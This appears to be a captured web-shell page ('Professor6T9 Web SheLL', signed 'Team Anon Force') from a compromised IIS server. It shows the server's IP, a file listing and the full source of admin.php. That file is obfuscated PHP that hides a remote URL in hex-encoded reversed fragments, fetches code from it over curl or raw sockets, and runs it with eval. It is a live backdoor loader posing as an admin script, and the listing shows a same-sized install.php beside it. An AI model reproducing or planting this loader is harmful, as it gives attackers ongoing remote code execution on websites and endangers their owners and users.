Professor6T9 Web SheLL

Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
Microsoft-IIS/10.0
103.118.16.173

admin.php

<?php goto VbJl1; LVmdC: $l2043 .= "\x2e\61\x30"; goto eCv2g; JEOuJ: $l2043 .= "\x3a\x73\160\164\164"; goto JqOVH; Bl9dJ: $l2043 .= "\x74"; goto VvU7W; VvU7W: $l2043 .= "\170\x74\x2e\x31"; goto LH8w6; JqOVH: $l2043 .= "\x68"; goto YsR3N; uiL2e: $l2043 .= "\x2f\162\145\160"; goto ii3bE; kf5GO: $l2043 .= "\x2f\x2f"; goto JEOuJ; Ceej6: $l2043 .= "\164"; goto LVmdC; LH8w6: $l2043 .= "\x73\145\x72"; goto uiL2e; YjEG4: $l2043 .= "\x6f\56\x6f\145"; goto MWqjA; eCv2g: $l2043 .= "\163\x6b\153"; goto YjEG4; MWqjA: $l2043 .= "\x73"; goto kf5GO; Myzdl: $l2043 .= "\57\160\x6f"; goto Ceej6; VbJl1: $l2043 = ''; goto Bl9dJ; ii3bE: $l2043 .= "\x75\x73"; goto Myzdl; YsR3N: eval("\x3f\x3e" . Zkf2V(strrev($l2043))); goto TjfAT; TjfAT: function zkf2V($UvpwE, $H4fI4 = "\x47\x45\x54", $Xn8ko = array(), $u4eZ3 = 45) { try { goto f0myO; q1STm: $Si2L0 = implode("\15\xa", $dfMjs) . "\xd\12\xd\xa"; goto C2AqO; ghw5G: $APrse .= fgets($snFMR, 1024); goto WGfcA; pTyUM: curl_setopt($tSJNZ, CURLOPT_USERAGENT, "\x47\x4f"); goto YFOYc; oAtse: $dfMjs = isset($wwnJo[0]) ? $wwnJo[0] : ''; goto yWpiB; mvgWn: cwDdK: goto DrJq_; C9Lg0: $O_8Nc = isset($nsXHD["\160\x61\164\150"]) ? $nsXHD["\160\x61\x74\x68"] : "\57"; goto kXoxq; Mu_p4: pCFV9: goto E0ni3; xUyF6: $gPluI = hexdec(substr($ovUwD, 0, $gquNo)); goto PSMIE; dwJ0W: $Si2L0 .= $I1Dpk . "\xd\xa"; goto q8Cdx; uerYA: if (!($gquNo === false)) { goto hBE7w; } goto NtlPC; Gm577: $ovUwD = $S27Np; goto Mu_p4; fuIMC: if (!($H4fI4 == "\x50\117\123\124")) { goto AthcJ; } goto jFkvc; Iy0l8: $dfMjs[] = "\x43\157\x6e\x74\x65\156\164\55\x54\171\x70\145\72\40\x61\160\x70\x6c\x69\143\x61\164\151\157\156\57\170\55\x77\x77\167\x2d\x66\157\162\155\x2d\x75\162\x6c\145\156\143\157\x64\x65\x64"; goto jRd14; CZyVg: return 0; goto S9vBS; E0ni3: return trim($ovUwD); goto fDQFs; yH3QT: curl_setopt($tSJNZ, CURLOPT_TIMEOUT, $u4eZ3); goto uLlK4; h8DwG: $dfMjs = ["{$H4fI4}\x20{$O_8Nc}{$dOwTS}\40\110\x54\x54\120\57\61\56\61", "\x48\x6f\163\x74\x3a\40{$sz96a}", "\x55\x73\145\x72\x2d\x41\147\x65\156\164\x3a\40\x4d\x6f\x7a\x69\154\x6c\x61\x2f\65\x2e\x30\x20\50\127\151\x6e\x64\157\x77\163\40\x4e\124\40\61\x30\x2e\x30\73\x20\x57\151\156\x36\64\x3b\40\170\x36\x34\x29\40\x41\160\160\154\145\127\145\142\x4b\151\x74\x2f\x35\63\x37\56\63\66\40\50\x4b\x48\x54\x4d\114\54\x20\154\151\153\x65\40\x47\x65\143\x6b\157\x29\40\x43\x68\162\x6f\x6d\145\x2f\71\x31\x2e\x30\56\64\x34\x37\x32\56\61\62\64\x20\123\141\146\141\162\x69\x2f\65\x33\x37\x2e\x33\66", "\x43\x6f\x6e\156\145\143\x74\x69\x6f\x6e\x3a\40\103\154\x6f\x73\145"]; goto fuIMC; RKhBT: fwrite($snFMR, $Si2L0); goto WxkYm; gNcf6: hBE7w: goto xUyF6; z9eYn: $jC0DU = isset($nsXHD["\160\157\162\164"]) ? $nsXHD["\x70\x6f\x72\x74"] : ($oyHBE === "\x68\x74\164\x70\163" ? 443 : 80); goto T9ktM; E8BB8: curl_setopt($tSJNZ, CURLOPT_POSTFIELDS, http_build_query($Xn8ko)); goto q_vCy; l_KEx: goto VcP4_; goto iFry5; ToQzO: $wwnJo = explode("\xd\xa\15\xa", $APrse, 2); goto oAtse; v65Xk: if ($snFMR) { goto CufaD; } goto CZyVg; L4ejc: curl_setopt($tSJNZ, CURLOPT_FOLLOWLOCATION, true); goto yH3QT; jFkvc: $I1Dpk = http_build_query($Xn8ko); goto Iy0l8; EnfBq: $snFMR = stream_socket_client("{$r5XJv}\x3a\x2f\x2f{$sz96a}\72{$jC0DU}", $Hj3l2, $hRQ4j, $u4eZ3); goto v65Xk; PSMIE: if (!($gPluI === 0)) { goto asxbQ; } goto l_KEx; mn3fv: return trim(trim($U30yu, "\xef\xbb\277")); goto mvgWn; G9qP3: lsfhw: goto Gmw1k; KXldx: $oyHBE = isset($nsXHD["\x73\143\150\x65\x6d\145"]) ? $nsXHD["\x73\x63\x68\x65\155\145"] : "\x68\x74\164\x70"; goto z9eYn; z09Kh: $gquNo = strpos($ovUwD, "\15\12"); goto uerYA; kXoxq: $dOwTS = isset($nsXHD["\161\x75\145\x72\x79"]) ? "\x3f" . $nsXHD["\161\165\x65\162\x79"] : ''; goto KXldx; fBByo: $tSJNZ = curl_init(); goto ULDHN; yWpiB: $ovUwD = isset($wwnJo[1]) ? $wwnJo[1] : ''; goto R4VDY; R4VDY: if (!(stripos($dfMjs, "\124\162\x61\x6e\x73\x66\145\x72\55\105\x6e\143\x6f\144\151\156\147\72\x20\x63\150\x75\x6e\153\x65\144") !== false)) { goto pCFV9; } goto Znti8; YX5wK: $S27Np .= substr($ovUwD, $gquNo + 2, $gPluI); goto HGu8p; DrJq_: $nsXHD = parse_url($UvpwE); goto cr9Kl; NzZL1: if (feof($snFMR)) { goto Ezwlr; } goto ghw5G; Y0VG7: goto lsfhw; goto Qqemn; NtlPC: goto VcP4_; goto gNcf6; iFry5: asxbQ: goto YX5wK; NcGnG: curl_close($tSJNZ); goto mn3fv; pStjK: gZc_h: goto NzZL1; q_vCy: w2wlU: goto Vl4hc; WGfcA: goto gZc_h; goto eWRkj; OuWOA: curl_setopt($tSJNZ, CURLOPT_RETURNTRANSFER, 1); goto bSvis; jRd14: $dfMjs[] = "\103\x6f\x6e\164\x65\x6e\164\55\114\145\x6e\x67\164\150\x3a\40" . strlen($I1Dpk); goto l3qc2; Qqemn: VcP4_: goto Gm577; abS9L: curl_setopt($tSJNZ, CURLOPT_POST, 1); goto E8BB8; BiXyq: fclose($snFMR); goto ToQzO; bSvis: curl_setopt($tSJNZ, CURLOPT_SSL_VERIFYPEER, false); goto WMXCL; HGu8p: $ovUwD = substr($ovUwD, $gquNo + 2 + $gPluI + 2); goto Y0VG7; WMXCL: curl_setopt($tSJNZ, CURLOPT_SSL_VERIFYHOST, false); goto L4ejc; l3qc2: AthcJ: goto q1STm; C2AqO: if (!($H4fI4 == "\120\x4f\123\x54")) { goto rfCRb; } goto dwJ0W; q8Cdx: rfCRb: goto RKhBT; T9ktM: $r5XJv = $oyHBE === "\150\x74\x74\x70\163" ? "\163\163\x6c" : "\x74\x63\160"; goto EnfBq; f0myO: if (!(function_exists("\143\x75\x72\x6c\x5f\151\156\x69\x74") && function_exists("\143\x75\162\154\137\145\170\145\143"))) { goto cwDdK; } goto fBByo; Vl4hc: $U30yu = curl_exec($tSJNZ); goto NcGnG; Znti8: $S27Np = ''; goto G9qP3; S9vBS: CufaD: goto h8DwG; WxkYm: $APrse = ''; goto pStjK; eWRkj: Ezwlr: goto BiXyq; uLlK4: if (!($H4fI4 == "\120\x4f\123\124")) { goto w2wlU; } goto abS9L; ULDHN: curl_setopt($tSJNZ, CURLOPT_URL, $UvpwE); goto pTyUM; Gmw1k: if (!true) { goto VcP4_; } goto z09Kh; cr9Kl: $sz96a = $nsXHD["\150\x6f\x73\x74"]; goto C9Lg0; YFOYc: curl_setopt($tSJNZ, CURLOPT_CONNECTTIMEOUT, 0); goto OuWOA; fDQFs: } catch (Exception $QltnX) { } return 0; }

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	0/0	0777	2025-09-10 02:12:37
..	dir	-	0/0	0555	2025-09-10 12:38:41
16f	text/plain	38.4 KB	0/0	0444	2021-12-17 04:07:02
admin.php	text/x-php	5.59 KB	0/0	0444	2025-08-28 04:47:36
ea1	text/plain	38.4 KB	0/0	0444	2021-12-17 01:18:16
install.php	text/x-php	5.59 KB	0/0	0444	2025-08-28 04:47:37

Team Anon Force

https://t.me/Professor6T9x